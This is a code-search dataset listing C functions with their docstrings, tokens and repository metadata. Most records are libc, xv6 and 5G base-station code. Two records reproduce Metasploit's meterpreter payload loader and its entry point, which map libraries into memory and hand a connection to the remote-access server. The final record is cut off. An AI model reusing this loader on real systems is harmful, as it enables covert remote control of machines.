[ "Convert", "Ethernet", "address", "to", "standard", "hex", "-", "digits", "-", "and", "-", "colons", "printable", "form", "." ]
[]
[ { "param": "addr", "type": "struct ether_addr" }, { "param": "buf", "type": "char" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "addr", "type": "struct ether_addr", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "buf", "type": "char", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
f56e48b245fa08220ed5c73e0abf792a092ee896
Oxicode/metasploit-framework
external/source/meterpreter/source/bionic/libc/inet/ether_ntoa.c
[ "Apache-2.0", "BSD-3-Clause" ]
C
ether_ntoa
char
char * ether_ntoa (const struct ether_addr *addr) { static char buf[18]; return ether_ntoa_r(addr, buf); }
/* * Convert Ethernet address to standard hex-digits-and-colons printable form. */
Convert Ethernet address to standard hex-digits-and-colons printable form.
[ "Convert", "Ethernet", "address", "to", "standard", "hex", "-", "digits", "-", "and", "-", "colons", "printable", "form", "." ]
char * ether_ntoa (const struct ether_addr *addr) { static char buf[18]; return ether_ntoa_r(addr, buf); }
[ "char", "*", "ether_ntoa", "(", "const", "struct", "ether_addr", "*", "addr", ")", "{", "static", "char", "buf", "[", "18", "]", ";", "return", "ether_ntoa_r", "(", "addr", ",", "buf", ")", ";", "}" ]
Convert Ethernet address to standard hex-digits-and-colons printable form.
[ "Convert", "Ethernet", "address", "to", "standard", "hex", "-", "digits", "-", "and", "-", "colons", "printable", "form", "." ]
[]
[ { "param": "addr", "type": "struct ether_addr" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "addr", "type": "struct ether_addr", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
c456d07c3e2d8b0f3ac636380533524d8908d8b0
Oxicode/metasploit-framework
external/source/meterpreter/source/bionic/libc/inet/inet_aton.c
[ "Apache-2.0", "BSD-3-Clause" ]
C
inet_aton
int
int inet_aton(const char *cp, struct in_addr *addr) { in_addr_t val; int base, n; char c; u_int parts[4]; u_int *pp = parts; c = *cp; for (;;) { /* * Collect number up to ``.''. * Values are specified as for C: * 0x=hex, 0=octal, isdigit=decimal. */ if (!isdigit(c)) return (0); val = 0; base = 10; if (c == '0') { c = *++cp; if (c == 'x' || c == 'X') base = 16, c = *++cp; else base = 8; } for (;;) { if (isascii(c) && isdigit(c)) { val = (val * base) + (c - '0'); c = *++cp; } else if (base == 16 && isascii(c) && isxdigit(c)) { val = (val << 4) | (c + 10 - (islower(c) ? 'a' : 'A')); c = *++cp; } else break; } if (c == '.') { /* * Internet format: * a.b.c.d * a.b.c (with c treated as 16 bits) * a.b (with b treated as 24 bits) */ if (pp >= parts + 3) return (0); *pp++ = val; c = *++cp; } else break; } /* * Check for trailing characters. */ if (c != '\0' && (!isascii(c) || !isspace(c))) return (0); /* * Concoct the address according to * the number of parts specified. */ n = pp - parts + 1; switch (n) { case 0: return (0); /* initial nondigit */ case 1: /* a -- 32 bits */ break; case 2: /* a.b -- 8.24 bits */ if ((val > 0xffffff) || (parts[0] > 0xff)) return (0); val |= parts[0] << 24; break; case 3: /* a.b.c -- 8.8.16 bits */ if ((val > 0xffff) || (parts[0] > 0xff) || (parts[1] > 0xff)) return (0); val |= (parts[0] << 24) | (parts[1] << 16); break; case 4: /* a.b.c.d -- 8.8.8.8 bits */ if ((val > 0xff) || (parts[0] > 0xff) || (parts[1] > 0xff) || (parts[2] > 0xff)) return (0); val |= (parts[0] << 24) | (parts[1] << 16) | (parts[2] << 8); break; } if (addr) addr->s_addr = htonl(val); return (1); }
/* * Check whether "cp" is a valid ascii representation * of an Internet address and convert to a binary address. * Returns 1 if the address is valid, 0 if not. * This replaces inet_addr, the return value from which * cannot distinguish between failure and a local broadcast address. */
Check whether "cp" is a valid ascii representation of an Internet address and convert to a binary address. Returns 1 if the address is valid, 0 if not. This replaces inet_addr, the return value from which cannot distinguish between failure and a local broadcast address.
[ "Check", "whether", "\"", "cp", "\"", "is", "a", "valid", "ascii", "representation", "of", "an", "Internet", "address", "and", "convert", "to", "a", "binary", "address", ".", "Returns", "1", "if", "the", "address", "is", "valid", "0", "if", "not", ".", "This", "replaces", "inet_addr", "the", "return", "value", "from", "which", "cannot", "distinguish", "between", "failure", "and", "a", "local", "broadcast", "address", "." ]
int inet_aton(const char *cp, struct in_addr *addr) { in_addr_t val; int base, n; char c; u_int parts[4]; u_int *pp = parts; c = *cp; for (;;) { if (!isdigit(c)) return (0); val = 0; base = 10; if (c == '0') { c = *++cp; if (c == 'x' || c == 'X') base = 16, c = *++cp; else base = 8; } for (;;) { if (isascii(c) && isdigit(c)) { val = (val * base) + (c - '0'); c = *++cp; } else if (base == 16 && isascii(c) && isxdigit(c)) { val = (val << 4) | (c + 10 - (islower(c) ? 'a' : 'A')); c = *++cp; } else break; } if (c == '.') { if (pp >= parts + 3) return (0); *pp++ = val; c = *++cp; } else break; } if (c != '\0' && (!isascii(c) || !isspace(c))) return (0); n = pp - parts + 1; switch (n) { case 0: return (0); case 1: break; case 2: if ((val > 0xffffff) || (parts[0] > 0xff)) return (0); val |= parts[0] << 24; break; case 3: if ((val > 0xffff) || (parts[0] > 0xff) || (parts[1] > 0xff)) return (0); val |= (parts[0] << 24) | (parts[1] << 16); break; case 4: if ((val > 0xff) || (parts[0] > 0xff) || (parts[1] > 0xff) || (parts[2] > 0xff)) return (0); val |= (parts[0] << 24) | (parts[1] << 16) | (parts[2] << 8); break; } if (addr) addr->s_addr = htonl(val); return (1); }
[ "int", "inet_aton", "(", "const", "char", "*", "cp", ",", "struct", "in_addr", "*", "addr", ")", "{", "in_addr_t", "val", ";", "int", "base", ",", "n", ";", "char", "c", ";", "u_int", "parts", "[", "4", "]", ";", "u_int", "*", "pp", "=", "parts", ";", "c", "=", "*", "cp", ";", "for", "(", ";", ";", ")", "{", "if", "(", "!", "isdigit", "(", "c", ")", ")", "return", "(", "0", ")", ";", "val", "=", "0", ";", "base", "=", "10", ";", "if", "(", "c", "==", "'", "'", ")", "{", "c", "=", "*", "++", "cp", ";", "if", "(", "c", "==", "'", "'", "||", "c", "==", "'", "'", ")", "base", "=", "16", ",", "c", "=", "*", "++", "cp", ";", "else", "base", "=", "8", ";", "}", "for", "(", ";", ";", ")", "{", "if", "(", "isascii", "(", "c", ")", "&&", "isdigit", "(", "c", ")", ")", "{", "val", "=", "(", "val", "*", "base", ")", "+", "(", "c", "-", "'", "'", ")", ";", "c", "=", "*", "++", "cp", ";", "}", "else", "if", "(", "base", "==", "16", "&&", "isascii", "(", "c", ")", "&&", "isxdigit", "(", "c", ")", ")", "{", "val", "=", "(", "val", "<<", "4", ")", "|", "(", "c", "+", "10", "-", "(", "islower", "(", "c", ")", "?", "'", "'", ":", "'", "'", ")", ")", ";", "c", "=", "*", "++", "cp", ";", "}", "else", "break", ";", "}", "if", "(", "c", "==", "'", "'", ")", "{", "if", "(", "pp", ">=", "parts", "+", "3", ")", "return", "(", "0", ")", ";", "*", "pp", "++", "=", "val", ";", "c", "=", "*", "++", "cp", ";", "}", "else", "break", ";", "}", "if", "(", "c", "!=", "'", "\\0", "'", "&&", "(", "!", "isascii", "(", "c", ")", "||", "!", "isspace", "(", "c", ")", ")", ")", "return", "(", "0", ")", ";", "n", "=", "pp", "-", "parts", "+", "1", ";", "switch", "(", "n", ")", "{", "case", "0", ":", "return", "(", "0", ")", ";", "case", "1", ":", "break", ";", "case", "2", ":", "if", "(", "(", "val", ">", "0xffffff", ")", "||", "(", "parts", "[", "0", "]", ">", "0xff", ")", ")", "return", "(", "0", ")", ";", "val", "|=", "parts", "[", "0", "]", "<<", "24", ";", "break", ";", "case", "3", ":", "if", "(", "(", "val", ">", "0xffff", ")", "||", "(", "parts", "[", "0", "]", ">", "0xff", ")", "||", "(", "parts", "[", "1", "]", ">", "0xff", ")", ")", "return", "(", "0", ")", ";", "val", "|=", "(", "parts", "[", "0", "]", "<<", "24", ")", "|", "(", "parts", "[", "1", "]", "<<", "16", ")", ";", "break", ";", "case", "4", ":", "if", "(", "(", "val", ">", "0xff", ")", "||", "(", "parts", "[", "0", "]", ">", "0xff", ")", "||", "(", "parts", "[", "1", "]", ">", "0xff", ")", "||", "(", "parts", "[", "2", "]", ">", "0xff", ")", ")", "return", "(", "0", ")", ";", "val", "|=", "(", "parts", "[", "0", "]", "<<", "24", ")", "|", "(", "parts", "[", "1", "]", "<<", "16", ")", "|", "(", "parts", "[", "2", "]", "<<", "8", ")", ";", "break", ";", "}", "if", "(", "addr", ")", "addr", "->", "s_addr", "=", "htonl", "(", "val", ")", ";", "return", "(", "1", ")", ";", "}" ]
Check whether "cp" is a valid ascii representation of an Internet address and convert to a binary address.
[ "Check", "whether", "\"", "cp", "\"", "is", "a", "valid", "ascii", "representation", "of", "an", "Internet", "address", "and", "convert", "to", "a", "binary", "address", "." ]
[ "/*\n\t\t * Collect number up to ``.''.\n\t\t * Values are specified as for C:\n\t\t * 0x=hex, 0=octal, isdigit=decimal.\n\t\t */", "/*\n\t\t\t * Internet format:\n\t\t\t *\ta.b.c.d\n\t\t\t *\ta.b.c\t(with c treated as 16 bits)\n\t\t\t *\ta.b\t(with b treated as 24 bits)\n\t\t\t */", "/*\n\t * Check for trailing characters.\n\t */", "/*\n\t * Concoct the address according to\n\t * the number of parts specified.\n\t */", "/* initial nondigit */", "/* a -- 32 bits */", "/* a.b -- 8.24 bits */", "/* a.b.c -- 8.8.16 bits */", "/* a.b.c.d -- 8.8.8.8 bits */" ]
[ { "param": "cp", "type": "char" }, { "param": "addr", "type": "struct in_addr" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "cp", "type": "char", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "addr", "type": "struct in_addr", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
d084314e931c78ebdd8459ac5e8cbfb745a87da8
Oxicode/metasploit-framework
external/source/meterpreter/source/server/rtld/metsrv_rtld.c
[ "Apache-2.0", "BSD-3-Clause" ]
C
metsrv_rtld
null
unsigned metsrv_rtld(int fd, int options) { int i; int (*libc_init_common)(); int (*server_setup)(); struct stat statbuf; INFO("[ preparing to link. fd = %d ]\n", fd); for(i = 0; i < sizeof(libs) / sizeof(struct libs); i++) { libs[i].handle = (void *) dlopenbuf(libs[i].name, libs[i].buf, libs[i].size); if(! libs[i].handle) { TRACE("[ failed to load %s/%08x/%08x, bailing ]\n", libs[i].name, libs[i].buf, libs[i].size); exit(1); } } libc_init_common = dlsym(libs[LIBC_IDX].handle, "__libc_init_common"); TRACE("[ __libc_init_common is at %08x, calling ]\n", libc_init_common); libc_init_common(); { int (*lock_sym)(pthread_mutex_t *mutex); int (*unlock_sym)(pthread_mutex_t *mutex); TRACE("[ setting pthread_mutex_lock_fp / pthread_mutex_unlock_fp ]\n"); lock_sym = dlsym(libs[LIBC_IDX].handle, "pthread_mutex_lock"); unlock_sym = dlsym(libs[LIBC_IDX].handle, "pthread_mutex_unlock"); if(! lock_sym || !unlock_sym) { TRACE("[ libc mapping seems to be broken. exit()'ing ]"); exit(-1); } pthread_mutex_lock_fp = lock_sym; pthread_mutex_unlock_fp = unlock_sym; } if(fstat(fd, &statbuf) == -1) { options = OPT_DEBUG_ENABLE; TRACE("[ supplied fd fails fstat() check, using dlsocket() ]\n"); fd = dlsocket(libs[LIBC_IDX].handle); if(fd == -1) { TRACE("[ failed to dlsocket() a connection. exit()ing ]\n"); exit(-1); } } if(options & OPT_DEBUG_ENABLE) { void (*enable_debugging)(); enable_debugging = dlsym(libs[LIBSUPPORT_IDX].handle, "enable_debugging"); if(! enable_debugging) { TRACE("[ failed to find the enable_debugging function, exit()'ing ]\n"); exit(-1); } global_debug = 1; enable_debugging(); } TRACE("[ logging will stop unless OPT_NO_FD_CLEANUP is set ]\n"); if(!(options & OPT_NO_FD_CLEANUP)) { perform_fd_cleanup(&fd); } server_setup = dlsym(libs[METSRV_IDX].handle, "server_setup"); TRACE("[ metsrv server_setup is at %p, calling ]\n", server_setup); server_setup(fd); TRACE("[ metsrv_rtld(): server_setup() returned, exit()'ing ]\n"); exit(1); }
/* * Map in libraries, and hand off execution to the meterpreter server */
Map in libraries, and hand off execution to the meterpreter server
[ "Map", "in", "libraries", "and", "hand", "off", "execution", "to", "the", "meterpreter", "server" ]
unsigned metsrv_rtld(int fd, int options) { int i; int (*libc_init_common)(); int (*server_setup)(); struct stat statbuf; INFO("[ preparing to link. fd = %d ]\n", fd); for(i = 0; i < sizeof(libs) / sizeof(struct libs); i++) { libs[i].handle = (void *) dlopenbuf(libs[i].name, libs[i].buf, libs[i].size); if(! libs[i].handle) { TRACE("[ failed to load %s/%08x/%08x, bailing ]\n", libs[i].name, libs[i].buf, libs[i].size); exit(1); } } libc_init_common = dlsym(libs[LIBC_IDX].handle, "__libc_init_common"); TRACE("[ __libc_init_common is at %08x, calling ]\n", libc_init_common); libc_init_common(); { int (*lock_sym)(pthread_mutex_t *mutex); int (*unlock_sym)(pthread_mutex_t *mutex); TRACE("[ setting pthread_mutex_lock_fp / pthread_mutex_unlock_fp ]\n"); lock_sym = dlsym(libs[LIBC_IDX].handle, "pthread_mutex_lock"); unlock_sym = dlsym(libs[LIBC_IDX].handle, "pthread_mutex_unlock"); if(! lock_sym || !unlock_sym) { TRACE("[ libc mapping seems to be broken. exit()'ing ]"); exit(-1); } pthread_mutex_lock_fp = lock_sym; pthread_mutex_unlock_fp = unlock_sym; } if(fstat(fd, &statbuf) == -1) { options = OPT_DEBUG_ENABLE; TRACE("[ supplied fd fails fstat() check, using dlsocket() ]\n"); fd = dlsocket(libs[LIBC_IDX].handle); if(fd == -1) { TRACE("[ failed to dlsocket() a connection. exit()ing ]\n"); exit(-1); } } if(options & OPT_DEBUG_ENABLE) { void (*enable_debugging)(); enable_debugging = dlsym(libs[LIBSUPPORT_IDX].handle, "enable_debugging"); if(! enable_debugging) { TRACE("[ failed to find the enable_debugging function, exit()'ing ]\n"); exit(-1); } global_debug = 1; enable_debugging(); } TRACE("[ logging will stop unless OPT_NO_FD_CLEANUP is set ]\n"); if(!(options & OPT_NO_FD_CLEANUP)) { perform_fd_cleanup(&fd); } server_setup = dlsym(libs[METSRV_IDX].handle, "server_setup"); TRACE("[ metsrv server_setup is at %p, calling ]\n", server_setup); server_setup(fd); TRACE("[ metsrv_rtld(): server_setup() returned, exit()'ing ]\n"); exit(1); }
[ "unsigned", "metsrv_rtld", "(", "int", "fd", ",", "int", "options", ")", "{", "int", "i", ";", "int", "(", "*", "libc_init_common", ")", "(", ")", ";", "int", "(", "*", "server_setup", ")", "(", ")", ";", "struct", "stat", "statbuf", ";", "INFO", "(", "\"", "\\n", "\"", ",", "fd", ")", ";", "for", "(", "i", "=", "0", ";", "i", "<", "sizeof", "(", "libs", ")", "/", "sizeof", "(", "struct", "libs", ")", ";", "i", "++", ")", "{", "libs", "[", "i", "]", ".", "handle", "=", "(", "void", "*", ")", "dlopenbuf", "(", "libs", "[", "i", "]", ".", "name", ",", "libs", "[", "i", "]", ".", "buf", ",", "libs", "[", "i", "]", ".", "size", ")", ";", "if", "(", "!", "libs", "[", "i", "]", ".", "handle", ")", "{", "TRACE", "(", "\"", "\\n", "\"", ",", "libs", "[", "i", "]", ".", "name", ",", "libs", "[", "i", "]", ".", "buf", ",", "libs", "[", "i", "]", ".", "size", ")", ";", "exit", "(", "1", ")", ";", "}", "}", "libc_init_common", "=", "dlsym", "(", "libs", "[", "LIBC_IDX", "]", ".", "handle", ",", "\"", "\"", ")", ";", "TRACE", "(", "\"", "\\n", "\"", ",", "libc_init_common", ")", ";", "libc_init_common", "(", ")", ";", "{", "int", "(", "*", "lock_sym", ")", "(", "pthread_mutex_t", "*", "mutex", ")", ";", "int", "(", "*", "unlock_sym", ")", "(", "pthread_mutex_t", "*", "mutex", ")", ";", "TRACE", "(", "\"", "\\n", "\"", ")", ";", "lock_sym", "=", "dlsym", "(", "libs", "[", "LIBC_IDX", "]", ".", "handle", ",", "\"", "\"", ")", ";", "unlock_sym", "=", "dlsym", "(", "libs", "[", "LIBC_IDX", "]", ".", "handle", ",", "\"", "\"", ")", ";", "if", "(", "!", "lock_sym", "||", "!", "unlock_sym", ")", "{", "TRACE", "(", "\"", "\"", ")", ";", "exit", "(", "-1", ")", ";", "}", "pthread_mutex_lock_fp", "=", "lock_sym", ";", "pthread_mutex_unlock_fp", "=", "unlock_sym", ";", "}", "if", "(", "fstat", "(", "fd", ",", "&", "statbuf", ")", "==", "-1", ")", "{", "options", "=", "OPT_DEBUG_ENABLE", ";", "TRACE", "(", "\"", "\\n", "\"", ")", ";", "fd", "=", "dlsocket", "(", "libs", "[", "LIBC_IDX", "]", ".", "handle", ")", ";", "if", "(", "fd", "==", "-1", ")", "{", "TRACE", "(", "\"", "\\n", "\"", ")", ";", "exit", "(", "-1", ")", ";", "}", "}", "if", "(", "options", "&", "OPT_DEBUG_ENABLE", ")", "{", "void", "(", "*", "enable_debugging", ")", "(", ")", ";", "enable_debugging", "=", "dlsym", "(", "libs", "[", "LIBSUPPORT_IDX", "]", ".", "handle", ",", "\"", "\"", ")", ";", "if", "(", "!", "enable_debugging", ")", "{", "TRACE", "(", "\"", "\\n", "\"", ")", ";", "exit", "(", "-1", ")", ";", "}", "global_debug", "=", "1", ";", "enable_debugging", "(", ")", ";", "}", "TRACE", "(", "\"", "\\n", "\"", ")", ";", "if", "(", "!", "(", "options", "&", "OPT_NO_FD_CLEANUP", ")", ")", "{", "perform_fd_cleanup", "(", "&", "fd", ")", ";", "}", "server_setup", "=", "dlsym", "(", "libs", "[", "METSRV_IDX", "]", ".", "handle", ",", "\"", "\"", ")", ";", "TRACE", "(", "\"", "\\n", "\"", ",", "server_setup", ")", ";", "server_setup", "(", "fd", ")", ";", "TRACE", "(", "\"", "\\n", "\"", ")", ";", "exit", "(", "1", ")", ";", "}" ]
Map in libraries, and hand off execution to the meterpreter server
[ "Map", "in", "libraries", "and", "hand", "off", "execution", "to", "the", "meterpreter", "server" ]
[]
[ { "param": "fd", "type": "int" }, { "param": "options", "type": "int" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "fd", "type": "int", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "options", "type": "int", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
d084314e931c78ebdd8459ac5e8cbfb745a87da8
Oxicode/metasploit-framework
external/source/meterpreter/source/server/rtld/metsrv_rtld.c
[ "Apache-2.0", "BSD-3-Clause" ]
C
_start
void
void _start(int fd, int options) { alarm(0); // clear out any pending alarms. signal(SIGCHLD, sigchld); // reap pids signal(SIGPIPE, SIG_IGN); // ignore read/write pipe errors, make them return -1. handle_crashes(); // try to make debugging a little easier. metsrv_rtld(fd, options); }
/* * This is the entry point for the meterpreter payload, either as a stand alone executable, or a * payload executing on the remote machine. * * If executed as a stand alone, int fd will be invalid. Later on, once libc has been loaded, * it will connect to the metasploit meterpreter server. */
This is the entry point for the meterpreter payload, either as a stand alone executable, or a payload executing on the remote machine. If executed as a stand alone, int fd will be invalid. Later on, once libc has been loaded, it will connect to the metasploit meterpreter server.
[ "This", "is", "the", "entry", "point", "for", "the", "meterpreter", "payload", "either", "as", "a", "stand", "alone", "executable", "or", "a", "payload", "executing", "on", "the", "remote", "machine", ".", "If", "executed", "as", "a", "stand", "alone", "int", "fd", "will", "be", "invalid", ".", "Later", "on", "once", "libc", "has", "been", "loaded", "it", "will", "connect", "to", "the", "metasploit", "meterpreter", "server", "." ]
void _start(int fd, int options) { alarm(0); signal(SIGCHLD, sigchld); signal(SIGPIPE, SIG_IGN); handle_crashes(); metsrv_rtld(fd, options); }
[ "void", "_start", "(", "int", "fd", ",", "int", "options", ")", "{", "alarm", "(", "0", ")", ";", "signal", "(", "SIGCHLD", ",", "sigchld", ")", ";", "signal", "(", "SIGPIPE", ",", "SIG_IGN", ")", ";", "handle_crashes", "(", ")", ";", "metsrv_rtld", "(", "fd", ",", "options", ")", ";", "}" ]
This is the entry point for the meterpreter payload, either as a stand alone executable, or a payload executing on the remote machine.
[ "This", "is", "the", "entry", "point", "for", "the", "meterpreter", "payload", "either", "as", "a", "stand", "alone", "executable", "or", "a", "payload", "executing", "on", "the", "remote", "machine", "." ]
[ "// clear out any pending alarms.", "// reap pids", "// ignore read/write pipe errors, make them return -1.", "// try to make debugging a little easier." ]
[ { "param": "fd", "type": "int" }, { "param": "options", "type": "int" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "fd", "type": "int", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "options", "type": "int", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
083422365f673029af4d2190e1273781d18edaa2
Oxicode/metasploit-framework
external/source/meterpreter/source/bionic/libc/stdio/wsetup.c
[ "Apache-2.0", "BSD-3-Clause" ]
C
__swsetup
int
int __swsetup(FILE *fp) { /* make sure stdio is set up */ if (!__sdidinit) __sinit(); /* * If we are not writing, we had better be reading and writing. */ if ((fp->_flags & __SWR) == 0) { if ((fp->_flags & __SRW) == 0) return (EOF); if (fp->_flags & __SRD) { /* clobber any ungetc data */ if (HASUB(fp)) FREEUB(fp); fp->_flags &= ~(__SRD|__SEOF); fp->_r = 0; fp->_p = fp->_bf._base; } fp->_flags |= __SWR; } /* * Make a buffer if necessary, then set _w. */ if (fp->_bf._base == NULL) { if ((fp->_flags & (__SSTR | __SALC)) == __SSTR) return (EOF); __smakebuf(fp); } if (fp->_flags & __SLBF) { /* * It is line buffered, so make _lbfsize be -_bufsize * for the putc() macro. We will change _lbfsize back * to 0 whenever we turn off __SWR. */ fp->_w = 0; fp->_lbfsize = -fp->_bf._size; } else fp->_w = fp->_flags & __SNBF ? 0 : fp->_bf._size; return (0); }
/* * Various output routines call wsetup to be sure it is safe to write, * because either _flags does not include __SWR, or _buf is NULL. * _wsetup returns 0 if OK to write, nonzero otherwise. */
Various output routines call wsetup to be sure it is safe to write, because either _flags does not include __SWR, or _buf is NULL. _wsetup returns 0 if OK to write, nonzero otherwise.
[ "Various", "output", "routines", "call", "wsetup", "to", "be", "sure", "it", "is", "safe", "to", "write", "because", "either", "_flags", "does", "not", "include", "__SWR", "or", "_buf", "is", "NULL", ".", "_wsetup", "returns", "0", "if", "OK", "to", "write", "nonzero", "otherwise", "." ]
int __swsetup(FILE *fp) { if (!__sdidinit) __sinit(); if ((fp->_flags & __SWR) == 0) { if ((fp->_flags & __SRW) == 0) return (EOF); if (fp->_flags & __SRD) { if (HASUB(fp)) FREEUB(fp); fp->_flags &= ~(__SRD|__SEOF); fp->_r = 0; fp->_p = fp->_bf._base; } fp->_flags |= __SWR; } if (fp->_bf._base == NULL) { if ((fp->_flags & (__SSTR | __SALC)) == __SSTR) return (EOF); __smakebuf(fp); } if (fp->_flags & __SLBF) { fp->_w = 0; fp->_lbfsize = -fp->_bf._size; } else fp->_w = fp->_flags & __SNBF ? 0 : fp->_bf._size; return (0); }
[ "int", "__swsetup", "(", "FILE", "*", "fp", ")", "{", "if", "(", "!", "__sdidinit", ")", "__sinit", "(", ")", ";", "if", "(", "(", "fp", "->", "_flags", "&", "__SWR", ")", "==", "0", ")", "{", "if", "(", "(", "fp", "->", "_flags", "&", "__SRW", ")", "==", "0", ")", "return", "(", "EOF", ")", ";", "if", "(", "fp", "->", "_flags", "&", "__SRD", ")", "{", "if", "(", "HASUB", "(", "fp", ")", ")", "FREEUB", "(", "fp", ")", ";", "fp", "->", "_flags", "&=", "~", "(", "__SRD", "|", "__SEOF", ")", ";", "fp", "->", "_r", "=", "0", ";", "fp", "->", "_p", "=", "fp", "->", "_bf", ".", "_base", ";", "}", "fp", "->", "_flags", "|=", "__SWR", ";", "}", "if", "(", "fp", "->", "_bf", ".", "_base", "==", "NULL", ")", "{", "if", "(", "(", "fp", "->", "_flags", "&", "(", "__SSTR", "|", "__SALC", ")", ")", "==", "__SSTR", ")", "return", "(", "EOF", ")", ";", "__smakebuf", "(", "fp", ")", ";", "}", "if", "(", "fp", "->", "_flags", "&", "__SLBF", ")", "{", "fp", "->", "_w", "=", "0", ";", "fp", "->", "_lbfsize", "=", "-", "fp", "->", "_bf", ".", "_size", ";", "}", "else", "fp", "->", "_w", "=", "fp", "->", "_flags", "&", "__SNBF", "?", "0", ":", "fp", "->", "_bf", ".", "_size", ";", "return", "(", "0", ")", ";", "}" ]
Various output routines call wsetup to be sure it is safe to write, because either _flags does not include __SWR, or _buf is NULL.
[ "Various", "output", "routines", "call", "wsetup", "to", "be", "sure", "it", "is", "safe", "to", "write", "because", "either", "_flags", "does", "not", "include", "__SWR", "or", "_buf", "is", "NULL", "." ]
[ "/* make sure stdio is set up */", "/*\n\t * If we are not writing, we had better be reading and writing.\n\t */", "/* clobber any ungetc data */", "/*\n\t * Make a buffer if necessary, then set _w.\n\t */", "/*\n\t\t * It is line buffered, so make _lbfsize be -_bufsize\n\t\t * for the putc() macro. We will change _lbfsize back\n\t\t * to 0 whenever we turn off __SWR.\n\t\t */" ]
[ { "param": "fp", "type": "FILE" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "fp", "type": "FILE", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
3f3a868864b055b934b6a42ca5f62c03bf103a9e
patha454/xv6_pi_mp
source/mmu.c
[ "MIT" ]
C
aux_mmu_init
void
void aux_mmu_init(void) { uint ttbr; //Copy the page table. curr_cpu->kpgdir = (void*) &sptable[curr_cpu->id - 1]; memmove(curr_cpu->kpgdir, (void*) p2v(K_PDX_BASE), 4096 * sizeof(pde_t)); flush_dcache_range((void*) curr_cpu->kpgdir, 4096 * sizeof(pde_t)); //Set up the Translation Table Base Register for the core. ttbr = (uint) curr_cpu->kpgdir; ttbr |= 0x08; ttbr |= 0x40; set_pgtbase((void*) v2p((void*) ttbr)); flush_tlb(); }
// Duplicates the master core page table for each core.
Duplicates the master core page table for each core.
[ "Duplicates", "the", "master", "core", "page", "table", "for", "each", "core", "." ]
void aux_mmu_init(void) { uint ttbr; curr_cpu->kpgdir = (void*) &sptable[curr_cpu->id - 1]; memmove(curr_cpu->kpgdir, (void*) p2v(K_PDX_BASE), 4096 * sizeof(pde_t)); flush_dcache_range((void*) curr_cpu->kpgdir, 4096 * sizeof(pde_t)); ttbr = (uint) curr_cpu->kpgdir; ttbr |= 0x08; ttbr |= 0x40; set_pgtbase((void*) v2p((void*) ttbr)); flush_tlb(); }
[ "void", "aux_mmu_init", "(", "void", ")", "{", "uint", "ttbr", ";", "curr_cpu", "->", "kpgdir", "=", "(", "void", "*", ")", "&", "sptable", "[", "curr_cpu", "->", "id", "-", "1", "]", ";", "memmove", "(", "curr_cpu", "->", "kpgdir", ",", "(", "void", "*", ")", "p2v", "(", "K_PDX_BASE", ")", ",", "4096", "*", "sizeof", "(", "pde_t", ")", ")", ";", "flush_dcache_range", "(", "(", "void", "*", ")", "curr_cpu", "->", "kpgdir", ",", "4096", "*", "sizeof", "(", "pde_t", ")", ")", ";", "ttbr", "=", "(", "uint", ")", "curr_cpu", "->", "kpgdir", ";", "ttbr", "|=", "0x08", ";", "ttbr", "|=", "0x40", ";", "set_pgtbase", "(", "(", "void", "*", ")", "v2p", "(", "(", "void", "*", ")", "ttbr", ")", ")", ";", "flush_tlb", "(", ")", ";", "}" ]
Duplicates the master core page table for each core.
[ "Duplicates", "the", "master", "core", "page", "table", "for", "each", "core", "." ]
[ "//Copy the page table.", "//Set up the Translation Table Base Register for the core." ]
[]
{ "returns": [], "raises": [], "params": [], "outlier_params": [], "others": [] }
2b1c36407bd7073198d89539b103ab72b6c0bf20
MCNL-HGU/OAI5G
executables/nr-gnb.c
[ "Apache-2.0" ]
C
tx_reorder_thread
void
void *tx_reorder_thread(void* param) { PHY_VARS_gNB *gNB = (PHY_VARS_gNB *)param; notifiedFIFO_elt_t *resL1Reserve = NULL; resL1Reserve=pullTpool(gNB->L1_tx_out, gNB->threadPool); int next_tx_slot=((processingData_L1tx_t *)NotifiedFifoData(resL1Reserve))->slot; while (!oai_exit) { notifiedFIFO_elt_t *resL1; if (resL1Reserve) { resL1=resL1Reserve; if (((processingData_L1tx_t *)NotifiedFifoData(resL1))->slot != next_tx_slot) { LOG_E(PHY,"order mistake"); resL1Reserve=NULL; resL1 = pullTpool(gNB->L1_tx_out, gNB->threadPool); } } else { resL1 = pullTpool(gNB->L1_tx_out, gNB->threadPool); if (((processingData_L1tx_t *)NotifiedFifoData(resL1))->slot != next_tx_slot) { if (resL1Reserve) LOG_E(PHY,"error, have a stored packet, then a second one\n"); resL1Reserve=resL1; resL1 = pullTpool(gNB->L1_tx_out, gNB->threadPool); if (((processingData_L1tx_t *)NotifiedFifoData(resL1))->slot != next_tx_slot) LOG_E(PHY,"error, pull two msg, none is good\n"); } } processingData_L1tx_t *syncMsgL1= (processingData_L1tx_t *)NotifiedFifoData(resL1); processingData_RU_t syncMsgRU; syncMsgRU.frame_tx = syncMsgL1->frame; syncMsgRU.slot_tx = syncMsgL1->slot; syncMsgRU.timestamp_tx = syncMsgL1->timestamp_tx; syncMsgRU.ru = gNB->RU_list[0]; next_tx_slot = get_next_downlink_slot(gNB, &gNB->gNB_config, syncMsgRU.frame_tx, syncMsgRU.slot_tx); pushNotifiedFIFO(gNB->L1_tx_free, resL1); if (resL1==resL1Reserve) resL1Reserve=NULL; ru_tx_func((void*)&syncMsgRU); } return(NULL); }
// This thread reads the finished L1 tx jobs from threaPool // and pushes RU tx thread in the right order. It works only // two parallel L1 tx threads.
